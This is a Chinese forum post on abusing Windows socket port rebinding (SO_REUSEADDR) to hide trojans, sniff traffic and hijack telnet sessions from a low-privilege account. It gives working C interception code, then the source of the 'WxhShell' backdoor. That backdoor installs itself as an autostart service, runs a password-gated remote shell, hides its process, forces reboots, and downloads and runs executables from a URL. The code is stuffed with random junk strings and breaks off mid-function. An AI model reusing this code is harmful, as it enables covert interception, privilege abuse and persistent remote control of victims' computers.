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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9:>vl0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *G38N]|u6  
JJr<cZ4]  
  saddr.sin_family = AF_INET; O5w\oDhMb  
*{bqHMd4L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7dRU7p>  
uq_SF.a'v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }K\_N]#6n  
u-$AFSt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +iR ;D$w  
/ e,lD)  
  这意味着什么?意味着可以进行如下的攻击: Hqk2W*UTl  
)sr]}S0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  Qy%/+9L  
=v}.sJ V?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lj#6K@u@Z  
70Am]L&M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9v A`\\9  
4+0Zj+ q";  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fr7/%{s  
}9JPSl28Jr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }HzZj;O^2>  
a &j?"o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'AoH2 |  
>=(e}~5y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +oa]v1/W  
= zSrre  
  #include Ra5cfkH;  
  #include _<$=n6#  
  #include hG U &C]  
  #include    ),_bDI L+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T/ov0l_  
  int main() spf}{o  
  { ,o`qB81  
  WORD wVersionRequested; <5 +?&i  
  DWORD ret; {>qCZ#E5WO  
  WSADATA wsaData;  i.]}ooI  
  BOOL val; f{J7a1 `_  
  SOCKADDR_IN saddr; Ptg73Gm&R  
  SOCKADDR_IN scaddr; a ]*^uEs  
  int err; E_z@\z MB  
  SOCKET s; Zo` ^pQS  
  SOCKET sc; )xeVoAg  
  int caddsize; t t=$:}A  
  HANDLE mt; t%%I.zIV7  
  DWORD tid;   `u-}E9{  
  wVersionRequested = MAKEWORD( 2, 2 ); lZ|Ao0(  
  err = WSAStartup( wVersionRequested, &wsaData ); &xVWN>bd^  
  if ( err != 0 ) { !dGgLU_  
  printf("error!WSAStartup failed!\n"); 9D bp`%j  
  return -1; 6\`,blkX  
  } 6\bbP>ql  
  saddr.sin_family = AF_INET; s}.nh>Q  
   AxeWj%w@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;J:YNup  
p81~Lk*Hz@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JBqzQ^[n  
  saddr.sin_port = htons(23); R#t~i&v/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) psMagzr&)e  
  { 4xlsdq8`t  
  printf("error!socket failed!\n"); P_;oSN|>  
  return -1; LZeR .8XM>  
  } ;rFa I^  
  val = TRUE; $KiA~l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E-/]UH3u H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;RrfE8mGj  
  { # a3Q<%V  
  printf("error!setsockopt failed!\n"); 6*e:ey U  
  return -1; 7J _H Ox#  
  } k$hWR;U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |^=`ln!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Djzb#M'm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1osI~oNZ  
@ZmpcoDI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f?]cW h%  
  { )z aMycW  
  ret=GetLastError(); Vq*p?cF .  
  printf("error!bind failed!\n"); Ai/#C$MY$  
  return -1; GV9"8M Z6  
  } .sLx6J%  
  listen(s,2); @{a(f;  
  while(1) {kC]x2 U  
  {  j>6{PDaT  
  caddsize = sizeof(scaddr); H;^6%HV1  
  //接受连接请求 h'bxgIl'`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @/9> /?JP  
  if(sc!=INVALID_SOCKET) zIL.R#|D=  
  { {3;4=R3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ScI9.{  
  if(mt==NULL) f; 22viE  
  { ~6OdPD  
  printf("Thread Creat Failed!\n"); NENbr$,G  
  break; wiutUb Y  
  } GVg0)}  
  } X9P-fF?0  
  CloseHandle(mt); PBUc9/  
  } r1[0#5kJ;J  
  closesocket(s); .8,lhcpY  
  WSACleanup(); 2@ad! h  
  return 0; -Oo$\=d  
  }   5%Q!R%  
  DWORD WINAPI ClientThread(LPVOID lpParam) F8pLA@7[  
  { g><sZqj8tt  
  SOCKET ss = (SOCKET)lpParam; W6)A":`  
  SOCKET sc; "e(N h%t  
  unsigned char buf[4096]; q[+];  
  SOCKADDR_IN saddr; #):FXB$a  
  long num; shi#K<gVC  
  DWORD val; ?e BN_a,r6  
  DWORD ret; 55#H A?cR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ut o4bs:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Kp"o0fh<9  
  saddr.sin_family = AF_INET; O9qEKW)a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k`N)-`O7  
  saddr.sin_port = htons(23); ON$u581 y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AttDD{Ta  
  { Q%85,L^U  
  printf("error!socket failed!\n"); lwK Au!l  
  return -1; 4WNWn#M  
  } $,R|$0B7  
  val = 100; O=yUA AD$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ly^r8I  
  { 0iwx$u 7[  
  ret = GetLastError(); _/KN98+  
  return -1; P'g$F<~V  
  } nY6^DE2f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g n'. 9";j  
  { v67o>`<$  
  ret = GetLastError(); FzNs >*  
  return -1; %=GnGgu  
  } /N~.,vf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c(@)V.o2  
  { E$RH+):|  
  printf("error!socket connect failed!\n"); +4)Kc9S#  
  closesocket(sc); r;9F@/  
  closesocket(ss); HQ]g{JVld\  
  return -1; 7ZN0_Q s  
  } dfk=%lZYd9  
  while(1) :sJVklK  
  { )4DF9JpD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xvb5-tK -  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oas}8A)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A9[l5E  
  num = recv(ss,buf,4096,0); 32dR`qb  
  if(num>0) +}% 4]O;  
  send(sc,buf,num,0); MbF.KmV  
  else if(num==0) :]:q=1;c  
  break; nq r[HFWs  
  num = recv(sc,buf,4096,0); hMDy;oQ  
  if(num>0) AuWEy-q?  
  send(ss,buf,num,0); @q|I$'K]x  
  else if(num==0) p*vEVo  
  break; b]@^SN9  
  } 0p8(Q  
  closesocket(ss); u3kZOsG  
  closesocket(sc); f~t*8rG~m  
  return 0 ; WOquG  
  } *_@8v?  
_},u[+  
.h{`e>d  
========================================================== `N$<]i]s5  
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下边附上一个代码,,WXhSHELL 9z,V]v=  
rtC.!].;%  
========================================================== iE>T5XV8$B  
tK0?9M.)  
#include "stdafx.h" |s=)*DZv  
u|i.6:/=  
#include <stdio.h> Bh<)e5lP:  
#include <string.h> fsb_*sh&  
#include <windows.h> r;SA1n#  
#include <winsock2.h> d'q,:="c  
#include <winsvc.h>  qauk,t  
#include <urlmon.h> # sm>;+J  
QF Vy2 q  
#pragma comment (lib, "Ws2_32.lib") >}Fe9Y.o  
#pragma comment (lib, "urlmon.lib") X)x$h{ OE  
xV}-[W5sr'  
#define MAX_USER   100 // 最大客户端连接数 6o!+E@V b  
#define BUF_SOCK   200 // sock buffer m&cVda/  
#define KEY_BUFF   255 // 输入 buffer "1yXOy^2  
Fn1|Wt*  
#define REBOOT     0   // 重启 n}}$-xl  
#define SHUTDOWN   1   // 关机 rISg`-  
a}EO7tcg,  
#define DEF_PORT   5000 // 监听端口 1UT&kD!si  
: OQx;>'  
#define REG_LEN     16   // 注册表键长度  1ti+ Q0~  
#define SVC_LEN     80   // NT服务名长度 ]+Ik/+Nz  
Z2!O)8  
// 从dll定义API wgp{P>oBX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %9C_p]P*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Xqe]cax%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F=bX\T7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :  *k   
V]&0"HX2r!  
// wxhshell配置信息 <XDYnWz  
struct WSCFG { &3#19v7/  
  int ws_port;         // 监听端口 x(ue |UG  
  char ws_passstr[REG_LEN]; // 口令 /J9|.];%r  
  int ws_autoins;       // 安装标记, 1=yes 0=no vu Vcv  
  char ws_regname[REG_LEN]; // 注册表键名 H}Z\r2  
  char ws_svcname[REG_LEN]; // 服务名 N D`?T &PK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tY'fFz^Ho  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fq-e2MCX5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ezS@LFaA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f_I6g uDPz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xJlf}LEyF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 68 vu  
/N>f#:}  
}; o-H\vtOjE  
INt]OPD  
// default Wxhshell configuration /?C}PM  
struct WSCFG wscfg={DEF_PORT, )\ow/XPE  
    "xuhuanlingzhe", }V:ZGP#!'  
    1, > PHin%#  
    "Wxhshell", z3>ldT  
    "Wxhshell", MROe"Xj  
            "WxhShell Service", x/7kcj!O  
    "Wrsky Windows CmdShell Service", *jE> (J`  
    "Please Input Your Password: ", VI_8r5o  
  1, }04 EM  
  "http://www.wrsky.com/wxhshell.exe", G6@XRib3  
  "Wxhshell.exe" )i|0Ubn[|  
    }; Jga;nrU  
J B[n]|  
// 消息定义模块 uI lm!*0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F`))qCgg]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F8Y_L\q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QmxI ;l  
char *msg_ws_ext="\n\rExit."; M5\$+Tu  
char *msg_ws_end="\n\rQuit."; 'ONCz  
char *msg_ws_boot="\n\rReboot..."; _ x8gEK8  
char *msg_ws_poff="\n\rShutdown..."; g4z*6L,u  
char *msg_ws_down="\n\rSave to "; >JVdL\3  
0;6eSmF  
char *msg_ws_err="\n\rErr!"; l4: B(  
char *msg_ws_ok="\n\rOK!"; tr?U/YG  
[C@ |q Ah  
char ExeFile[MAX_PATH]; !W2dMD/  
int nUser = 0; A~0eJaq+  
HANDLE handles[MAX_USER]; wX/0.aZ|  
int OsIsNt; z'"e|)  
Es]:-TR  
SERVICE_STATUS       serviceStatus; EnW}>XN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,r_%p<lOFu  
?/3'j(Gk  
// 函数声明 oyC5M+shP9  
int Install(void); VkW N1A  
int Uninstall(void); |tn.ZEgw3~  
int DownloadFile(char *sURL, SOCKET wsh); ykMdH:  
int Boot(int flag); n[+$a)$8  
void HideProc(void); sQ"; t=yC  
int GetOsVer(void); }aSTo"~m#  
int Wxhshell(SOCKET wsl); [8%R*}  
void TalkWithClient(void *cs); [a201I0 -  
int CmdShell(SOCKET sock); o|`%>&jP  
int StartFromService(void); {wJ8% ;Z7  
int StartWxhshell(LPSTR lpCmdLine); z}.Q~4 f0D  
{#U 3A_y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W!jg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lf2Q  
e)BU6m%  
// 数据结构和表定义 ~S\y)l\wZ  
SERVICE_TABLE_ENTRY DispatchTable[] = y) .dw(  
{ 2UbTKN  
{wscfg.ws_svcname, NTServiceMain}, M1HGXdN*B  
{NULL, NULL} #EG$HX]  
}; wa1Qt  
ka=EOiX.  
// 自我安装 9@3cz_[J  
int Install(void) %r =9,IJ  
{ 0^('hS&  
  char svExeFile[MAX_PATH]; omu )s '8  
  HKEY key; `En>o~L;  
  strcpy(svExeFile,ExeFile); ^7l+ Of b3  
z ?L]5m` H  
// 如果是win9x系统,修改注册表设为自启动 ;X;q8J^_K_  
if(!OsIsNt) { {J~VB~('  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OrP i ("/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8.WZC1N  
  RegCloseKey(key); $ VTk0J-W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u; G-46  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W @ ?*~  
  RegCloseKey(key); Fswr @du  
  return 0; K3dg.>O  
    } 1[:tiTG|C  
  } rK~Obv  
} IeN~ E'~  
else { [6cF#_)*  
lY$9-Q(  
// 如果是NT以上系统,安装为系统服务 7 MZ(tOR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 328gTP1  
if (schSCManager!=0) CpLLsphy  
{ qw<~v?{|C  
  SC_HANDLE schService = CreateService iy-~CPNB_  
  ( Fa+#bX7  
  schSCManager, FKWL{"y  
  wscfg.ws_svcname, wN]]t~K)Q  
  wscfg.ws_svcdisp, ]5a,%*f+  
  SERVICE_ALL_ACCESS, 1fMl8[!JLu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XMlcY;W  
  SERVICE_AUTO_START, b|Sjh;  
  SERVICE_ERROR_NORMAL, 3]rd!Gp=*  
  svExeFile,  ]j:aO  
  NULL, ;&9wG`  
  NULL, %X -G(Z  
  NULL, O>,Rsj!e  
  NULL, $N/"c$50,  
  NULL 3)*Twqt  
  ); 3[Z7bhpV  
  if (schService!=0) }.t8C y9G  
  { _Gtq]`y  
  CloseServiceHandle(schService); UF PSQ  
  CloseServiceHandle(schSCManager); #`qP7E w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \Xpq=2`  
  strcat(svExeFile,wscfg.ws_svcname); @)x8<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $:IEpV{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f#3!Q!C^  
  RegCloseKey(key); ~y" ^t@!E  
  return 0; !SAR/sdXf  
    } St|B9V?eEB  
  } ? t_$C,A+  
  CloseServiceHandle(schSCManager); :9]"4ktoJ  
} 5Y#~+Im=[@  
} 1kczlTF  
d>hLnz1O  
return 1; <G60R^o  
} DAVgP7h'  
^3lEfI<pBm  
// 自我卸载 !Ct'H1J-  
int Uninstall(void) Bhf4 /$  
{ ^GC 8^f  
  HKEY key; s)5W:`MH?  
v]@ n'!  
if(!OsIsNt) { k:DAko}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G F17oMi  
  RegDeleteValue(key,wscfg.ws_regname); ?TMrnR/d  
  RegCloseKey(key); 8m*uT< 5D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ->*'Y;t4  
  RegDeleteValue(key,wscfg.ws_regname); nO;t5d  
  RegCloseKey(key); $E6bu4I  
  return 0; ?bw1zYP  
  } ;oivG)hJl  
} V1 O]L66  
} ZnZ`/zNO  
else { S r4/8BZ  
~L?q.*q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kpx2e2C|  
if (schSCManager!=0) zrE Dld9  
{ Rd:wMy$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dl=qss~g+  
  if (schService!=0) 9#)&  
  { WmTg`[  
  if(DeleteService(schService)!=0) { fl *>m,  
  CloseServiceHandle(schService); i1ss}JJp*  
  CloseServiceHandle(schSCManager); n]a/nv  
  return 0; w6G<&1iH  
  } VjGtEIew  
  CloseServiceHandle(schService); o06vC  
  } eG08Xt |lc  
  CloseServiceHandle(schSCManager); %dDwus  
} KiYz]IM$4  
} m$H(l4wB>  
 IA{I|g<  
return 1; 2 `nOYK  
} -J(93@X 9  
;H`>jI$  
// 从指定url下载文件 1gh<nn  
int DownloadFile(char *sURL, SOCKET wsh) G21cJi*  
{ 7yFV.#K3O  
  HRESULT hr; .?LP$O=  
char seps[]= "/"; Xw]L'+V=  
char *token; 1zWEK]2.R  
char *file; :GN7JxD#  
char myURL[MAX_PATH]; +?y9EZB%  
char myFILE[MAX_PATH]; yGX"1Fb?;x  
X.FFBKjf[e  
strcpy(myURL,sURL); rF)[ Sed:T  
  token=strtok(myURL,seps); 1%k$9[!l%  
  while(token!=NULL) kdp- |9  
  { n81z 0lnr  
    file=token; [O\[,E"K  
  token=strtok(NULL,seps); #7"*Pxb#A  
  } 65AG# O5R  
D9-D%R,  
GetCurrentDirectory(MAX_PATH,myFILE); 4 t< mX  
strcat(myFILE, "\\"); rh$q]  
strcat(myFILE, file); +5oK91o[y  
  send(wsh,myFILE,strlen(myFILE),0); bqSp4TI  
send(wsh,"...",3,0); Fpckb18}(O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?n9?`8a#  
  if(hr==S_OK) K-,8~8[  
return 0; IHStN,QD  
else rBrJTF:.  
return 1; QTbv3#  
9vw0box  
} '.1_anE]  
~"8)9&  
// 系统电源模块 n Wb0S  
int Boot(int flag) D/Hob  
{ )Y 9JP@}T  
  HANDLE hToken; MrFi0G7u  
  TOKEN_PRIVILEGES tkp; 5@< D6>6  
Y=tx kN  
  if(OsIsNt) { 1@ .Eh8y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5,u'p8}.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~|.vz!A  
    tkp.PrivilegeCount = 1; $Oi@B)=4d+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]q<Zc>OC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tZqy \_G  
if(flag==REBOOT) { fLR\@f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iz5WWn^  
  return 0; tC4 7P[b  
} a@}A;y'd  
else { %VmHw~xyF:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y=YIz>u  
  return 0; <P#]U"?A  
} oY8S-N;(t  
  } 9~6)u=4sS"  
  else { a^QyYX}\qR  
if(flag==REBOOT) { |}KNtIX\G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jrm 9,7/  
  return 0; X0e#w?  
} kZJ.G  
else { )ND%MYJSq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g}Esj"7  
  return 0; < rqFBq 8  
} r'~^BLT`#  
} Kt\#|-{CH-  
~.L\f%<  
return 1; WC *e#QP  
} '980.  
NB[(O#  
// win9x进程隐藏模块 L-QzC<[F/  
void HideProc(void) wR*>9LjeG  
{ 6im!v<1Qx  
~T'Ri=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bL"!z"NA  
  if ( hKernel != NULL ) C)8>_PY[M  
  { [6{o13mCWE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %YbcI|i]<0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RJO40&Z<Z  
    FreeLibrary(hKernel); v cZg3:j  
  } :UDT! 5FNO  
2!E@Gbhm5  
return; E"[h20`\/  
} f%JC;Y  
K6X}d,g  
// 获取操作系统版本 I|oS`iLl$  
int GetOsVer(void) s+l3]Hd  
{ %9lx)w  
  OSVERSIONINFO winfo; SFQYrY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]F81N(@:F  
  GetVersionEx(&winfo); $bd2TVNV:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E3==gYCe*  
  return 1; ~qj09  
  else @.SuHd  
  return 0; 1w/Ur'8we  
} D`C#O 7.N  
TE!+G\@  
// 客户端句柄模块 PGaYYc3X  
int Wxhshell(SOCKET wsl) ::eYd23  
{ : ZWKrnG  
  SOCKET wsh; 32KL~32Y  
  struct sockaddr_in client; y+g01z  
  DWORD myID; W`2Xn?g  
Y&JK*d  
  while(nUser<MAX_USER) V.U9Q{y"  
{ rjLPX  
  int nSize=sizeof(client); wSwDhOX=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YN>k5\M_v  
  if(wsh==INVALID_SOCKET) return 1; MrGq{,6C  
>*FHJCe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XwNJHOaF  
if(handles[nUser]==0)  s%c>Ge  
  closesocket(wsh); 4T<4Rb[  
else JX!@j3  
  nUser++; &3t[p=  
  } O<EFm}Ae  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $VRVM Y [q  
aF (L_  
  return 0; 0/@ ^He8l  
} ]/klKqz  
q*E<~!jL  
// 关闭 socket mIy|]e`SJ  
void CloseIt(SOCKET wsh) 8\H*Z2yF+  
{ 9KgGK cy%  
closesocket(wsh); Gi=s|vt  
nUser--; t6JM%  
ExitThread(0); $ /p/9 -  
} k~,({T<  
! O~:  
// 客户端请求句柄 KqI<#hUl  
void TalkWithClient(void *cs) W3.(s~ )o  
{ `z)q/;}fC  
ZD(VH6<g%  
  SOCKET wsh=(SOCKET)cs; C ks;f6G  
  char pwd[SVC_LEN]; tW)K pX  
  char cmd[KEY_BUFF]; yur5" $n  
char chr[1]; 6 J B"qd  
int i,j; pSC\[%K  
#FNSE*Y  
  while (nUser < MAX_USER) { o,D7$WzL  
<jwQ&fm)/R  
if(wscfg.ws_passstr) { "7X[@xX@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {k"t`uo_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ah9P C7[  
  //ZeroMemory(pwd,KEY_BUFF); }#Gq*^w  
      i=0; EpsjaOmAF  
  while(i<SVC_LEN) { ,^K}_z\9f  
)A1u uW (  
  // 设置超时 ??u*qO:p  
  fd_set FdRead; Wp2$L-T&$  
  struct timeval TimeOut; #PJHwvr  
  FD_ZERO(&FdRead); "z6 xS;  
  FD_SET(wsh,&FdRead); |3{"ANmm'  
  TimeOut.tv_sec=8; WNmG'hlA  
  TimeOut.tv_usec=0; |@*3 nb8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ua2waA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wS"`~Ql_  
Dm+[cA"I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 49?wEm#  
  pwd=chr[0]; 0` y*7.Ip  
  if(chr[0]==0xd || chr[0]==0xa) { FJCLK#-  
  pwd=0; :I !}ZD+Z  
  break; [0M`uf/u  
  } oH ] _2[ !  
  i++; L#6!W  
    } m*f"Y"B.1I  
=euMOs  
  // 如果是非法用户,关闭 socket .X](B~\!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qt+i0xd  
} b2 5.CGF  
\Aq$h:<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zb4+zps^-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m<liPl uv  
][TA7pDPV  
while(1) { + \jn$>E  
vXLGdv::  
  ZeroMemory(cmd,KEY_BUFF); Mc@_[q!xY?  
6F8TiR&  
      // 自动支持客户端 telnet标准   vi; yT.  
  j=0; _X]\#^UiO2  
  while(j<KEY_BUFF) { 6'[gd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]VcuD05"C  
  cmd[j]=chr[0]; l&Cy K#B:\  
  if(chr[0]==0xa || chr[0]==0xd) { F(DM$5z[  
  cmd[j]=0; ]]eI80u[  
  break; |QHIB?C?`  
  } Bag_0.H&m  
  j++; Is[n7Q  
    } {TVQ]G%'b  
Memb`3  
  // 下载文件 \f-@L;8#  
  if(strstr(cmd,"http://")) { <Eu/f`8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JH+uBZh6  
  if(DownloadFile(cmd,wsh)) w/, A@fLL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8I]rC<O6:  
  else VoC|z Rd_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | <bZ*7G  
  } U_C[9Z'P  
  else { O[j$n  
H.]p\ UY9  
    switch(cmd[0]) { 044Q>Qz,  
  :2*0Jh3_  
  // 帮助 @>q4hYF  
  case '?': { -_^#7]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +#Ga} e CM  
    break; ql I1<Jx  
  } pqDlg  
  // 安装 f7?u`"C  
  case 'i': { [5;_XMj%  
    if(Install()) Pah*,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:ju/ ~R}  
    else f64}#E|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4K0Fc^-  
    break; ?W\KIp \Kn  
    } <~hx ~"c  
  // 卸载 Q6$^lRNOpk  
  case 'r': { y3Ul}mVhA  
    if(Uninstall()) wJg&OQc9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C {G647  
    else ? ]H'egG6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l{8t;!2t  
    break; z Ek/#&  
    } 7? ]wAH89  
  // 显示 wxhshell 所在路径 1B`JvNtd  
  case 'p': { TeHxqWx  
    char svExeFile[MAX_PATH]; 4hWFgk  
    strcpy(svExeFile,"\n\r"); TUX:[1~Nf[  
      strcat(svExeFile,ExeFile); q22@ZRw  
        send(wsh,svExeFile,strlen(svExeFile),0); H8A=]Gq  
    break; h3(B7n7  
    } us )NgG  
  // 重启 $AF,4Ir-b+  
  case 'b': { iUq{c+h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F#Bi*YY  
    if(Boot(REBOOT)) +a|u,'u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); asL!@YE  
    else { >a)6GZ@  
    closesocket(wsh); F>U*Wy  
    ExitThread(0); %:.IG.`d  
    } q9B5>Ye)  
    break; kf1 (  
    } &G aI  
  // 关机 v%)=!T ,  
